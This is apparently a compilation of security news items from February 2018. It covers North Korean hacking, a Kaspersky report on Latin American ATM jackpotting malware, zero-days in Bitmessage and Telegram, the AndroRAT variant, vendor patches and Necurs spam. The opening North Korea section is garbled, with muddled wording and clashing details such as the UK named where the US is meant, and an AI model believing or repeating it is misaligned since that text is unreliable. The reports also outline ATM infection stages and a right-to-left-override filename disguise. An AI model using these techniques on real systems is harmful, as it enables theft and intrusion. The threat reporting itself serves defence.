Currently, North Korea has improved the cyber attacks among rising tensions with the US and rest of the globe. In 2016, a hacking group associated with North Korea getting accused of the theft of $81 million from a central bank account in Bangladesh.

In May 2017, cyber-security researchers linked the WannaCry ransom-ware attack to a North Korean hacking group known as Lazarus.

This hack resulted in the intrusion of over 300,000 computers and threatened the loss of data unless a ‘ransom’ was paid – typically, $300 in bitcoin within three days.

According to Europol, this is one of the most unprecedented hacks to date.

Despite the association with Lazarus, North Korean hackers have increased efforts to secure cryptocurrency, which could be used to avoid trade restrictions in recent sanctions approved by the UN.

South Korea is currently investigating the possible North Korean involvement of the cryptocurrency exchange eight months after the country hacked the target.

5. Are the Hacks for Financial Gain Primarily?
Not exactly.

It was seen in October that a South Korean legal maker stated that Kim’s cyber-warriors stole military plans produced by South Korea in a case of armed conflict.

The plans included a classified section known as ‘decapitation strike, which was aimed at removing the North Korean leader. The lawmaker attacked the South Korean armed forces for allowing the breach in military enforcement causing a mistake in the service.

Rhee Cheol-hee agrees that he had worked with defense officials and they are not supposed to save such vital data on PC files.

A US military aide stated that, despite the alleged hack, the UK continues to place confidence in South Korea and their ability to deal with the challenges of North Korea. Some suspect that North Korea may ramp up money counterfeiting to also help fund the regime.

6. What are South Korea and the US Doing in Response?
Believe it or not, the US has not been standing by as North Korea regains its connection to the internet. North Korea has restored an online relationship via Russia after China’s faltering strategy.

The link was reportedly distributed under a denial of service attack with a flood of data traffic being produced to overwhelm and obstruct computer systems in the US.

Meanwhile, US president Donald Trump has criticized the North Korean leader for this development of nuclear weapons stating that the US may use military force against the regime.

North Korea has, however, warned that nuclear war by occurring at any moment with South Korea and the UK being joined naval drills.

7. How Do Hacking Efforts Comply with the Political Situation?
All hacking efforts appear to be continuing amidst the current political tensions.

North Korea’s hackers continue to push for valuable intelligence and harder currently, while traditional military forces engage with the chance of war.

While Lazarus may have been associated with the theft of $60 million from Taiwan’s Far Eastern International Bank, the malware used bore features of Lazarus and was an international highlight.


Bingo, Amigo! Jackpotting: ATM malware from Latin America to the World
14.2.2018 Kaspersky 
Virus
Introduction
Of all the forms of attack against financial institutions around the world, the one that brings traditional crime and cybercrime together the most is the malicious ecosystem that exists around ATM malware. Criminals from different backgrounds work together with a single goal in mind: jackpotting. If there is one region in the world where these attacks have achieved highly professional levels it’s Latin America.

From “Ploutus”, “Greendispenser”, “Prilex”, traditional criminals and Latin American cybercriminals have been working closely and effectively to steal large sums of money directly from ATMs with quite an elevated rate of success. In order to do it, they have developed a number of tools and techniques that are unique to this region, eventually importing malware from Eastern European cybercriminals and then improving the code to create their own domestic solutions, which they later deploy on a larger scale.

The combination of factors such as the use of obsolete and unsupported operating systems and the availability of easy to use development platforms have allowed the creation of malicious code with technologies such as the .NET framework, without the need for too high technical skills.

We are facing a rising wave of threats against ATMs that have been technically and operationally improved, becoming an immense challenge for financial institutions and security professionals alike. Currently, the attacks on such devices have already generated considerable losses for financial institutions, begging the question: What and when will the next big hit be? “Motivation” is the key word. Why focus on stealing information to monetize it later when it is easier to steal funds directly from the bank?

In this article, we will show an overview on operational details about how these regional attacks against financial institutions have created a unique situation in Latin America. We’ll also highlight how banks and security companies are falling victims to them and how attacks are spreading in the region, aiming to surpass jackpot attacks coming from mariachis and chupacabras.

Dynamite, fake fronts, ATM (in)security
The easiest way to steal money from an ATM machine used to be to blow it up. Most Latin American cybercriminals used to do it on a regular basis. In fact, this type of attack still happens in several parts of the region. Security cameras, CCTV and any other physical security measures proved ineffective in deterring this rudimentary yet extremely effective attack. In many cases, the explosive devices used by the thieves caused damage, not only to the ATMs, but also to bank branches, public squares and the shopping malls in which they were located. A small number of incidents have even caused damage to buildings close to banks.

Explosive attacks on ATMs are a rising problem in Europe as well. In a report covering the first six months of 2016, EAST (European Association for Secure Transactions) reported a total of 492 explosive attacks in Europe; a rise of 80 percent compared to the same period in 2015. Such attacks do not just present a financial risk due to stolen cash, but are also the cause of significant collateral damage to equipment and buildings. Of most concern is the fact that lives can also be placed in danger, particularly by the use of solid explosives.

Actually, it is effortless to find videos on YouTube showing the explosions of ATM machines, mainly in Brazil.
 

Old school way of robbing an ATM: blowing it up. Some examples here and here.

In an attempt to stop these attacks, Brazilian banks have adopted ink cartridges to stain the bills when the ATM is blown up. Criminals responded quickly, finding a way to remove the ink from the bills using a special solvent. It’s the eternal cat-and-mouse (or should we say a mouse and cat) game among fraudsters and financial institutions.

Another bold maneuver used commonly by criminals in Latin America is to cover the front of an ATM with a whole fake piece that looks like the original. Such an approach seems to surprise visitors when traveling to our region. This technique was presented to the media by Brian Krebs as the “biggest skimmer of all“. Actually, criminals are able to install it without any complications in a day light in supermarkets and other retail businesses (see video).
 

ATM fake fascia: what you see is not what you get.

For criminals, it’s not difficult to build a fake replica of an ATM machine, especially since they can buy the parts needed on the black-market and even on-line stores easily. Here’s an example of an ATM keyboard sold at a regional on-line store (the Latin American eBay). This device helps cybercriminals build whatever they want. Sometimes, criminals find and recruit insiders right from the ATM industry.
 

You can build your own fake home assemblied ATM, buying it in pieces…

Another worldwide problem affecting ATMs in Latin America is the reliance on obsolete software with several unpatched vulnerabilities, that’s installed and in-use every day in production environments. Most ATMs are still running on Windows XP or Windows 2000, systems that have already reached their end-of-life, and Microsoft has officially ceased to support for them. In addition to the obsolete software, one may frequently find ATMs with completely exposed cables and network devices that are easy to access and manipulate. Such situations are due to insufficient physical security policies, opening a variety of possibilities to the region’s criminals.
 

Cables and routers exposed in ATMs running Windows XP: a gold mine for scammers.

However, such attacks represent a risk for those criminal daredevils as they can be recorded by surveillance cameras while trying to tamper with the machines, inserting a dynamite stick, or installing a fake ATM cover right in front of big brother’s eyes. As banks have enhanced the physical security of ATMs, it is no longer so profitable for criminals to rely on the physical assaults of these, thus giving way to the gradual rise of ATM malware in the region.

The process of stealing money from ATMs using malware typically consists of four stages:

The attacker gains local/remote access to the machine.
Malicious code is installed in the ATM system.
In some cases, to complete the infection process, a reboot of the ATM is needed. Sometimes cybercriminals use umbrella or blackbox schemes to reboot and for their operations support.
The final stage (and the ultimate goal of the entire process) is withdrawing the money – jackpotting!
Getting access to the inside of an ATM is not a particularly difficult task. The process of infecting is also fairly clear – arbitrary code can be executed on an obsolete (or insufficiently secured) system. There seems to be no problem with withdrawing money either – the malware interface is usually opened by using a specific key combination on the PIN pad or by inserting a “special card”. Sometimes all that is needed is a remote command sent from an already compromised machine in the bank’s network, leaving the “mule” ready for the final step of the game and cashing out without raising any eyebrows.

From Eastern Europe to Latin America
A report from the European ATM Security Team (EAST), shows that global ATM fraud losses increased 18 percent to €156 million (US $177.5 million) in the first half of 2015, compared to the same period in 2014. EAST attributes much of that increase to an 18 percent rise in global card-skimming losses, which includes €131 million (U.S. $149 million) of that total. Unfortunately, it seems there are no official statistics of such attacks and loses in Latin America. ATEFI (the Latin American Association of Service, Operators and Electronic Funds Transfer) does not publish public reports on such attacks.

There is a strong “B2B” cooperation between Eastern European and Latin American cybercriminals. On December 7, 2015, a 26 years old Romanian citizen was arrested in Morelia, Mexico, as he was suspected to be involved in the credit card cloning business. He was caught with $180,000.00 mxn in cash (around $ 9,700.00 USD) after someone from the community reported his suspicious behavior. He had a criminal record in Romania for being a part of an illegal organization connected to counterfeiting and using stolen credit cards. At the beginning of 2017, 31 people were arrested in a coordinated police operation and were charged with belonging to a gang dedicated to the credit card cloning business, among them a Cuban citizen, an Ecuadorian citizen, nine Venezuelans, three Romanians, two Bulgarians and 15 Mexicans. This served as further evidence that carders from Europe and Latin America are connected and occasionally work together.

Backdoor.Win32.Skimer was the first malicious program infecting ATM machines that came up back in 2008. Once the ATM was infected using a special access card, criminals were able to perform a number of illegal operations: withdrawing cash from the ATM, or obtaining data from cards used in the ATM. The coder behind it clearly new how ATM hardware and software work. Our analysis of this Trojan concluded that it was designed to target ATM machines in Russia and Ukraine. It works with US dollar, Russian ruble, and Ukrainian hryvnia transactions. More recently, in 2014, we published a detailed post about Tyupkin, an ATM malware found active on more than 50 ATMs in financial institutions in Eastern Europe. We have enough evidence that Latin American cybercriminals are cooperating with the Eastern European gangs involved with ZeuS, SpyEye and other banking Trojans created in that part of the world. This collaboration directly results in the code quality and sophistication of local Latin American malware. Regional cyber criminals also lease the infrastructure of their Eastern European counterparts. The same applies for ATM malware, which is evolving together with other Latin American malware families.

It’s also common to find Latin American criminals on Russian underground forums looking for samples, buying new crimeware packages and exchanging data about ATM/PoS malware, or negotiating and offering their “professional” services. Since most of them are not proficient in Russian, their writing often includes misspelled Russian words as they rely on automated translation services. Sometimes, they just write in Spanish, so Eastern European cybercriminals have to use automated translation. In any case, despite the language barrier, they negotiate use the acquired knowledge to boost the spread of their malware operations in Latin America.
 

Latin American criminals in the Russian underground: looking for ATM software

We believe that the first contacts between both cybercriminal worlds happened back in 2008 or even a little earlier. This is only the tip of the iceberg, as this kind of exchange tends to increase over the years as crime develops and looks for new techniques to attack businesses and end users in general.

Mexico: Ploutus – “god of wealth”
According to Greek mythology, Ploutus represented abundance and wealth; a divine child capable of dispensing his gifts without prejudice. However, in the real world, the economic impact of this rampant malware has been estimated at $ 1,200.000.000 MXN ($ 64,864,864.00 USD), considering that only in Mexico, approximately 73,258 ATMs have been found to be compromised.

The first variant of Ploutus became public in October 24, 2013, uploaded to VirusTotal by someone in Mexico, with the filename ‘ploutus.exe’. At that time, the sample had a low detection rate and some AV companies detected it as a Backdoor.Ploutus – Symantec or Trojan-Banker.MSIL.Atmer – Kaspersky.

During 2014 and 2015, a nation state level investigation in relation to ATM robberies using malware resulted in an increased number of uncovered incidents all over Mexico. In August 2013, investigators finally busted a operation connected to about 450 ATMs from 4 major Mexican banks.

Compromised machines were mostly located in places lacking or with very limited physical surveillance. Malware was deployed either via the CD-ROM drive (in the first versions) or a USB port in latter versions. These attacks caught the attention of the banks’ security departments in an odd manner. The armored transportation company began to receive a rare number of phone calls and alerts in respect to unusually high amounts of money being withdrawn from ATMs. The machines were reporting low cash flow levels just hours after being filled by the company in charge of this service.

The second attack was perpetrated during the Mexican Black Friday, locally known as “El Buen Fin”. During these dates, ATMs are stocked with more money in order to fulfill customer demand (approximately 20% more funds than usual are added). Lastly, the third attack was carried out during Valentine’s Day, which is celebrated on February 14th in Mexico. Dates in which ATMs are heavily used and have more funds than usual certainly attracted the attention of this group, which seemed to plan its attacks in advance while hiding in plain sight.
 

Ploutus developers are not trying to hide the origins of their code.

To install this malware, physical access to the ATM is needed. Usually, this is achieved via USB or CD drive, facilitating directly from the infected ATM machine and not merely cloning credit or debit cards. So, the damage is for financial Institutions and not their customers, at least not directly.
 

Strings in Spanish language display the goal of Ploutus

In this case, the business model is to sell licenses which are valid only for a day, allowing the “customer” (cybercriminal) to withdraw money from any number of machines during that particular day. It may take between two and half to three hours to empty the cash dispensing cassettes of an ATM.

According to a private investigation, a default arrangement for cybercriminals gangs is an average of 3 individuals per cell, with up to 300 people involved in the campaigns. Each group is responsible for compromising a chosen ATM with malware, obtaining an ID that is used afterwards to request an activation code via SMS, allowing full access to all of the ATM’s services.
 

Graphical user interface of an early version of Ploutus; shown when the correct activation sequence matches.

So far, we have seen four different versions or generations of the Ploutus malware family, the last one, which pertains to 2017, includes bug fixes and code improvements. For the first versions found in-the-wild there was no way of “calling home” or reporting the activities done on the ATM back to a C2 server. However, there is a SMS module used to obtain a unique identifier for the machine that allows the activation of the malicious code remotely. Once activated, money mules (operators standing at the ATM) can start withdrawing money until the licensed time expires. The procedure is as follows:

Compromise the ATM, via physical access through the CD-ROM drive or USB ports of the machine.
The install malware will run in the system as a regular Microsoft Windows service.
Acquire an ATM ID used for the identification and activation of the machine.
Some versions send a SMS to activate the “customer” (infected ATM), while others require physical access and connecting a keyboard in order to interact with the malware.
Cash out while the malware is active for 24 hours.
The newest version, found in-the-wild later in 2017, granted criminals full remote administration of infected ATMs and the capability to run diagnostic tools along with other crafted commands. In that latest version we found that cybercriminals switched from a physical keyboard to access ATMs to WiFi access with a special modified TeamViewer Remote management tool module. This made it possible to conduct malicious operations more scalable and less risky for the cybercriminals.

Kaspersky Lab detects the samples described above as Backdoor.MSIL.Ploutus, Trojan-Spy.Win32.Plotus and HEUR:Trojan.Win32.Generic

Colombia: corruption, insiders and legit software
In October 2014, 14 ATMs were compromised in different cities of Colombia. The economic impact was around $ 1,024.00 million (Colombian Pesos) without any trackable transaction. Later, an employee at one of the banks was arrested as he was suspected of installing the malware remotely in all of the ATMs using his personal security code and passwords, just one day before resigning his job.

The suspect had previously worked for the Colombian police for 8 years as an electronic engineer specializing in computer security and also as a police investigator. At the time, he was in charge of large-scale investigations, but over the years he ended up leading a judicial file that surprised the investigators. On October 25th, he was arrested and charged by the authorities as the author of a multi-million fraud scheme aimed at a Colombian bank. At the time of his arrest, the criminal had remote access to 1,159 ATMs throughout Colombia. In the development of the illegal operation, the criminal used a modified legitimate ATM software, which left everything set for other members of the illegal organization to commit fraud in less than 48 hours in six different cities. This was the way Colombian media talked about the multi-million fraud against a local bank.
 

Insider with admin and remote access: 14 ATMs controlled and jackpotted in Colombia

To perform this attack the corrupted ex-police officer used a modified version of the ATM management software distributed by the manufacturer and their technical support staff. As an officer, he had access to this kind of software, which after installation, would interact with the XFS standard, sending commands to the ATM:
 

Legitimate software, misused: privileged access to steal money.

The target in this attack was Diebold ATM machines:
 

Target: Diebold ATM

Once the cybercriminal infected the ATMs with the mentioned legitimate but modified management software, a special access was granted. From that moment on, any kind of ATM malware could be installed, including Ploutus, which we saw was aggressively used in Peru and other South American countries.

Kaspersky Lab detects samples of the attack as: Trojan.MSIL.Agent and Backdoor.MSIL.Ploutus

Brazil: Prilex on top of the hill
Brazil is also notorious for developing and spreading locally built malware. The same can be said for their ATM and PoS malware. In 2017, we found an interesting new ATM malware family spread in-the-wild in Brazil. It’s developed from scratch in the country so the code doesn’t have similarities with any other known ATM malware family.

Prilex is an interesting ATM malware fully developed by Brazilian cybercriminals is Prilex. The criminals behind Prilex are also responsible for the development of several PoS malware, allowing them to target both ATM and PoS markets. The key difference of this attack is that instead of using the common XFS library to interact with the ATM sockets, it used some specified vendor’s libraries. Someone generously shared that information with the criminals.
 

Prilex’s piece of code with a lot of strings in Portuguese.

According to the code we analyzed, the cybercriminals behind it knew all about victim’s network diagram as well as the internal structure of the ATMs used by the bank. In one of the samples, we found a specific user account of someone working in the Bank. That may mean two things: an insider in the bank was leaking information to cybercriminals or the bank had suffered a targeted attack, which allowed the criminals to exfiltrate key information.
 

Command used to execute the process under specific credential.

Once the malware is running it has the capability of dispensing money from the sockets by using a special window which is activated by using a specific key combination, provided to the money mules by the criminals. There is also a component which reads and collects data from the magnetic stripe of the cards used it ATMs infected with Prilex. All information is stored in a locally saved file.

We believe that the group behind this malware family is not new. We had seen them running another campaign since at least 2015, not only for ATM but also PoS attacks.

Kaspersky Lab detects these malware families as Trojan.Win32.Ice5 and Trojan.Win32.Prilex, respectively.

Conclusion
ATMs have been under constant attack since at least 2008-2009, when the first malicious program targeting ATMs, known as Backdoor.Win32.Skimer, was discovered. This is probably the fastest way for cybercriminals to get money – just right from the ATM. When it happens, we see two losses categories for the banks:

Direct bank losses, when an attacker obtains money from an ATM cash dispenser.
Indirect banks losses but losses to its customers. In this second scenario, cybercriminals steal from the customers’ bank accounts cloning unique cardholder data from the users’ ATM (including Track2 – the magnetic stripe data, the PIN – personal identification number used as a password, or new authentication methods, such biometric data).
To achieve their goals, attackers must solve one of these key challenges – they must either bypass customer authentication mechanisms or bypass the ATM’s security mechanisms. Criminals already use various methods to profit from ATMs, such as ram-raiding and dynamite explosive attacks, or traditional skimmers and shimmers to obtain customers’ information. It’s obvious criminal methods are shifting from physical attacks to so-called logical attacks. These can be described as non-destructive attacks. This helps cybercriminals stay undetected for longer periods of time, stealing not just once but several times from the same infected ATM.

ATM security is a complex problem that should be addressed on different levels. Many problems can only be fixed by the ATM manufacturers or vendors, especially with direct cooperation of security vendors.

The vast majority of ATM malware attention is placed on Eastern Europe, as the most developed cybercrime scene is in that part of the world. However, Latin America is one of the most dynamic and challenging markets in the world due to its particular characteristics. Regional cybercriminals are constantly seeking help and trading knowledge with their “colleagues” from Eastern European countries.

The constant monitoring of malicious activities by Latin American cybercriminals provides IT security companies with an advantageous opportunity to discover new attacks related to the financial sector. To have a complete understanding of the Latin American cybercrime scene, antimalware companies need to pay close attention to the reality of the country, collect files locally, build local relationships, and keep local analysts to monitor these attacks, mostly because it’s common for criminals to be extremely vigilant about their creations and how far these propagate. As it happens in Russia and China, Latin American criminals have created their own unique reality that’s sometimes quite difficult to grasp from the outside.

It’s very important for Financial Institutions, being such big and important targets for cybercriminals all over the world, to work on Threat Intelligence, including, not just global feeds, but also IOCs and Yara rules from hard to spot local attacks from regional experts. Our complete IOCs list, as well as Yara rules and full reports are available for Financial Intelligence Reports service customers. Need more information about the service? financialintel@kaspersky.com

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Zero-Day Attack Prompts Emergency Patch for Bitmessage Client
14.2.2018 securityweek
Vulnerebility
An emergency update released on Tuesday for the PyBitmessage application patches a critical remote code execution vulnerability that has been exploited in attacks.

Bitmessage is a decentralized and trustless communications protocol that can be used for sending encrypted messages to one or multiple users. PyBitmessage is the official client for Bitmessage.

Bitmessage developers have issued a warning for a zero-day flaw that has been exploited against some users running PyBitmessage 0.6.2.

The security hole, described as a message encoding bug, has been patched with the release of version 0.6.3.2, but since PyBitmessage 0.6.1 is not affected by the flaw, downgrading is also an option for mitigating potential attacks.

Code patches were released on Tuesday, and binary files for Windows and macOS are expected to become available on Wednesday.

One of the individuals targeted in the zero-day attacks was Bitmessage core developer Peter Šurda. The developer told users not to contact him on his old address and admitted that his keys were most likely compromised. A new support address has been added to PyBitmessage 0.6.3.2.

“If you have a suspicion that your computer was compromised, please change all your passwords and create new bitmessage keys,” Surda said.

According to Šurda, the attacker exploited the vulnerability in an effort to create a remote shell and steal bitcoins from Electrum wallets.

“The exploit is triggered by a malicious message if you're the recipient (including joined chans),” the developer explained. “The attacker ran an automated script but also opened, or tried to open, a remote reverse shell. The automated script looked in ~/.electrum/wallets, but when using the reverse shell he had access to other files as well.”

The investigation into these attacks is ongoing and Bitmessage developers have promised to share more information as it becomes available.

Bitmessage has become increasingly popular in the past years following reports that the U.S. National Security Agency and other intelligence agencies are conducting mass surveillance. While the protocol is often used by people looking to protect their privacy, it has also been leveraged by cybercriminals, including in ransomware attacks for communications between victims and the hackers.


Zero-Day in Telegram's Windows Client Exploited for Months
14.2.2018 securityweek
Exploit
A zero-day vulnerability impacting Telegram Messenger’s Windows client had been exploited in malicious attacks for months before being discovered and addressed.

Exploitation of the bug involves the use of a classic right-to-left override attack when a file is sent using the messenger service. The special nonprinting right-to-left override (RLO) character represented as ‘U+202E’ is used to reverse the order of the characters following it in the string.

Cybercriminals have discovered that they could leverage the character to mislead victims by hiding the name and extension of an executable file. Thus, if an application is vulnerable to the attack, the filename and extension would be displayed either incompletely or in reverse.

According to Kaspersky, which observed the attacks abusing the flaw, the attack chain involves sending malware in a message, but using the special character to hide it. A JS file could be renamed as photo_high_re*U+202E*gnp.js, which would make Telegram display the string gnp.js in reverse, thus appearing to the unsuspecting user as a PNG image file instead.

The actual file, however, isn’t modified, but remains the same JS file that it always was. If the user clicks on it, a standard Windows security notification would appear – as long as it hasn’t been previously disabled in the system’s settings –, informing the user that it is a JavaScript file.

Kaspersky learned of the issue in October 2017 and, after an investigation into the matter, discovered that cybercriminals had been abusing it since at least March 2017, in a multitude of attack scenarios.

Some of the incidents, the researchers say, resulted in the attackers taking control of the victim’s system. For that, however, analysis of the target system’s environment and the installation of additional modules was necessary.

Such an attack starts with an initial downloader being sent to the target. It would achieve persistence and then begin checking for commands arriving from the control bot. The loader could silently deploy malicious tools such as backdoors, loggers, and other malware on the target system.

The vulnerability was also abused in attacks involving miners, Kaspersky says. The infection would start with an SFX archive with a script designed to launch a BAT file posing as an executable. The program would first open a decoy file, when it would launch two miners as services, using the nssm.exe utility for this operation.

One of the programs was nheq.exe, an Equihash miner for NiceHash (it mined Zcash in the observed attack), while the other was taskmgn.exe, a popular miner implementing the CryptoNight algorithm and used to mine Fantomcoin and Monero.

In some attacks, the batch script had extra capabilities, being able to disable Windows security features and to download an additional payload from a malicious FTP server. The payload contained more miners and a Remote Manipulator System (RMS) client for subsequent remote access.

On the malicious FTP server, the researchers discovered archives containing Telegram directories stolen from the victims, some of which were created in March 2017. Inside the archives, Kaspersky found “an encrypted local cache containing different files used in personal communications: documents, videos and audio records and photos.”

In another attack scenario, an SFX archive launching a VBScript was observed. It too would open a decoy image to distract the user, then fetch and run the payload, another SFX archive containing a script designed to control the launch of the miner CryptoNight (csrs.exe). The script monitors the task list and terminates the miner if a task manager (taskmgr.exe, processhacker.exe) is on that list.

“It appears that only Russian cybercriminals were aware of this vulnerability, with all the exploitation cases that we detected occurring in Russia. Also, while conducting a detailed research of these attacks we discovered a lot of artifacts that pointed to involvement by Russian cybercriminals,” Kaspersky says.

The researchers couldn’t determine which versions of Telegram were affected by the vulnerability, but they believe that the exploitation of flawed Windows clients started in March 2017. Telegram was informed on the bug and has since addressed it in its products.


New AndroRAT Variant Emerges
14.2.2018 securityweek
Vulnerebility  Virus
A newly discovered variant of the AndroRAT off-the-shelf mobile malware can inject root exploits to perform malicious tasks, Trend Micro reports.

The updated malware version targets CVE-2015-1805, a publicly disclosed vulnerability that can be abused to achieve privilege escalation on older Android devices. By injecting root exploits, the threat can perform silent installation, shell command execution, WiFi password collection, and screen capture, security researchers have discovered.

First observed in 2012, AndroRAT was initially a university project, designed as an open-source client/server application to offer remote control of a device. It didn’t take long for cybercriminals to find the tool appealing and start using it in attacks.

The same as other Remote Access Tools (RATs), the malware gains root access in order to take control over the target system.

The newly observed version of the tool masquerades as a utility app called TrashCleaner, which the researchers believe is delivered from a malicious URL. When first executed, TrashCleaner prompts the user to install a Chinese-labeled calculator app, hides its icon from the device’s UI, and activates the RAT in the background.

“The configurable RAT service is controlled by a remote server, which could mean that commands may be issued to trigger different actions. The variant activates the embedded root exploit when executing privileged actions,” Trend Micro notes.

The malware can perform a broad range of actions previously observed in the original AndroRAT, including audio recording, photo taking, and system information theft (phone model, number, IMEI, etc.). It also steals WiFi names, call logs, mobile network cell location, GPS location, contacts, files on the device, list of running apps, and SMS messages, while keeping an eye on all incoming and outgoing SMS.

The threat is also capable of obtaining mobile network information, storage capacity, root status, list of installed applications, web browsing history from pre-installed browsers, and calendar events. Additionally, it can record calls, upload files to the device, capture photos using the front camera, delete and send forged SMS messages, take screenshots, execute shell commands, steal WiFi passwords, and silently enable accessibility services for a keylogger.

While the targeted vulnerability (CVE-2015-1805) was patched in early 2016, devices that are no longer updated regularly continue to be exposed to this new AndroRAT variant.

To avoid being targeted by the threat, users should avoid downloading and installing applications from third-party app stores. Installing the latest security updates and keeping all applications on the device updated at all times should also reduce the risk of being affected, the security researchers point out.


Adobe Patches 39 Vulnerabilities in Acrobat and Reader
14.2.2018 securityweek
Vulnerebility
Updates released on Tuesday by Adobe for its Acrobat, Acrobat Reader and Experience Manager products patch more than 40 vulnerabilities, but none of them appear to have been exploited for malicious purposes.

The company fixed a total of 39 flaws in its Acrobat and Reader products for Windows and Mac. The security holes, rated important and critical with a priority rating of 2, have been described as security mitigation bypass, heap overflow, use-after-free, out-of-bounds read, and out-of-bounds write weaknesses that can be exploited for privilege escalation or arbitrary code execution.

The flaws impact version 2018.009.20050 and earlier of Acrobat DC Continuous Track, version 2017.011.30070 and earlier of Acrobat 2017, and versions 2015.006.30394 and earlier of Acrobat DC Classic Track.

More than half of the vulnerabilities were reported to Adobe by employees of China-based Tencent. The disclosure was often made through Trend Micro’s Zero Day Initiative (ZDI).

As for Experience Manager, the latest version of the enterprise content management solution patches two vulnerabilities, including a reflected cross-site scripting (XSS) issue rated moderate, and an important XSS in the Apache Sling XSS protection API.

According to Adobe, exploitation of these flaws could allow attackers to obtain sensitive information. The company has not credited anyone for the Experience Manager security holes.

Earlier this month, Adobe issued an emergency update for Flash Player after learning that threat actors believed to be working on behalf of North Korea had been exploiting a zero-day vulnerability in attacks aimed at South Korea.

The group believed to be behind the attacks is tracked by FireEye as “TEMP.Reaper” and by Cisco Talos as “Group 123.”


Microsoft Patches 50 Flaws in Windows, Office, Browsers
14.2.2018 securityweek
Vulnerebility
Microsoft’s Patch Tuesday updates for February 2018 address 50 vulnerabilities in Windows, Office and the company’s web browsers, but this time the list does not appear to include any zero-day flaws.

Fourteen of the security holes have been rated critical, including an information disclosure flaw in Edge, a memory corruption in Outlook, a remote code execution vulnerability in Windows’ StructuredQuery component, and several memory corruptions in the scripting engines used by Edge and Internet Explorer.

One vulnerability, CVE-2018-0771, was publicly disclosed before Microsoft released patches. The issue is a Same-Origin Policy (SOP) bypass that exists due to the way Edge handles requests of different origins.

“An attacker who successfully exploited the vulnerability could force the browser to send data that would otherwise be restricted,” Microsoft said. The company believes it’s unlikely that this flaw, which it has rated “important,” will be exploited in attacks.

Two of the most interesting issues patched this month are Outlook vulnerabilities discovered by Microsoft’s own Nicolas Joly. One of the flaws, CVE-2018-0852, can be exploited to execute arbitrary code in the context of a user’s session by getting the target to open a specially crafted file with an affected version of Outlook.

“What’s truly frightening with this bug is that the Preview Pane is an attack vector, which means simply viewing an email in the Preview Pane could allow code execution,” explained Dustin Childs of the Zero Day Initiative (ZDI). “The end user targeted by such an attack doesn’t need to open or click on anything in the email – just view it in the Preview Pane. If this bug turns into active exploits – and with this attack vector, exploit writers will certainly try – unpatched systems will definitely suffer.”

The second Outlook vulnerability found by Joly is a privilege escalation issue (CVE-2018-0850) that can be leveraged to force Outlook to load a local or remote message store. The flaw can be exploited by sending a specially crafted email to an Outlook user.

“The email would need to be fashioned in a manner that forces Outlook to load a message store over SMB. Outlook attempts to open the pre-configured message on receipt of the email. You read that right – not viewing, not previewing, but upon receipt. That means there’s a potential for an attacker to exploit this merely by sending an email,” Childs said, pointing out that such a vulnerability would have earned Joly a prize in ZDI’s Pwn2Own competition.

Microsoft’s Patch Tuesday updates fix a total of 34 important and two moderate severity vulnerabilities.

Earlier this month, Microsoft updated the Adobe Flash Player components used by its products to address two vulnerabilities, including a zero-day believed to have been exploited by North Korean threat actors. Adobe on Tuesday released updates for its Acrobat, Reader and Experience Manager products to address 41 security bugs.


A new variant of the dreaded AndroRAT malware appeared in threat landscape
14.2.2018 securityaffairs Android

Security researchers from Trend Micro detected a new variant of the popular AndroRAT Android RAT in the criminal ecosystem.
Security experts from Trend Micro reported the availability of a new variant of the popular AndroRAT.

The malware was first born in 2012 as a university project, designed as an open-source client/server application to offer remote control of a device. Unfortunately, hackers noticed the capabilities of the threat and started using it.

The new version includes the code to trigger the CVE-2015-1805, it is a local elevation of privilege flaw that affects the kernel of the Android OS of certain devices.

The vulnerability is ranked as critical and can be exploited by rooting applications that users have installed on their devices to elevate privileges and run arbitrary code on the vulnerable device.

The security flaw is very old, it was discovered in the upstream Linux kernel years ago and fixed in April 2014. Unfortunately, the flaw was underestimated until last early 2016 when the C0RE Team reported to Google that it was possible to exploit it to target the Android OS.

All unpatched Android devices running OS based on kernel versions 3.4, 3.10 and 3.14, including all Nexus devices are vulnerable to the CVE-2015-1805 vulnerability.

“Trend Micro detected a new variant of Android Remote Access Tool (AndroRAT) (identified as ANDROIDOS_ANDRORAT.HRXC) that has the ability to inject root exploits to perform malicious tasks such as silent installation, shell command execution, WiFi password collection, and screen capture.” states the analysis published by Trend Micro.

The new AndroRAT variant masquerades as a utility app called TrashCleaner that is likely delivered from a malicious URL. Once launched, the TrashCleaner will prompt the user to install a Chinese-labeled calculator app, hide its icon from the device’s UI, and activates the RAT in the background.

AndroRAT

The new variant included the following additional features:

Theft of mobile network information, storage capacity, rooted or not
Theft of list of installed applications
Theft of web browsing history from pre-installed browsers
Theft of calendar events
Record calls
Upload files to victim device
Use front camera to capture high resolution photos
Delete and send forged SMS
Screen capture
Shell command execution
Theft of WiFi passwords
Enabling accessibility services for a key logger silently
Experts recommend downloading apps only from official stores and keeping updated the OS and the apps.


Necurs botnet is behind seasonal campaigns of Valentine’s Day-themed spam
14.2.2018 securityaffairs BotNet

Necurs botnet made headline again, the experts at IBM X-Force research team observed a spike in seasonal campaigns of Valentine’s Day-themed spam emails.
Necurs botnet made headline again, the experts at IBM X-Force research team observed a spike in the activity of the infamous botnet.

Necurs was not active for a long period at the beginning of 2017 and resumed it activity in April 2017. The Necurs botnet was used in the past months to push many other malware, including Locky, Jaff, GlobeImposter, Dridex , Scarab and the Trickbot.

Scammers are mow using the Necurs botnet to send out an amazing number of messages offering companionship waiting for Valentine’s day.

Crooks are using the spam messages to trick victims into sharing personal photos that are used later by cybercriminals to blackmail the victims.

According to the IBM X-Force team, the campaign started in mid-January, it leverages the overall Necurs botnet that is composed of 6 million bots.

“The current campaign from Necurs reached over 230 million spam messages within a matter of two weeks as the botnet spewed tens of millions of messages in two major bouts. The first surge started on Jan. 16 and ran through Jan. 18; the second started on Jan. 27 and died down on Feb. 3.” reads the analysis published by X-Force researchers.

The expert spotted two current campaigns that sent out a total 230 million spam messages in 14 days-period.

necurs spammers valentines day

The first campaign reached a peak between Jan. 16 and Jan. 18 and the second one began on Jan. 27 and lasted through Feb. 3. Researchers observed an average 30 million spam messages were sent each day.

“Looking at the messages being sent out in excess of 30 million emails a day, the current campaign delivers short email blurbs from supposed Russian women living in the U.S. While typical spam email is notorious for bad spelling and grammar, these samples are rather well-worded.” continues the analysis.”

The experts determined that the spam messages are being sent from about 950,000 unique IP addresses, Most of IP are hosted in Vietnam and India while the top sender IP address is hosted via a Pakistani-based ISP.

“Together, Vietnam and India hosted 55 percent of the IPs from which the spam originated. It’s worth noting that spammers constantly shuffle the resources they leverage and the originating IPs logged in one campaign are not likely to be used in the next one. This is how fraudsters avoid blacklists and blocking.” added the researchers.

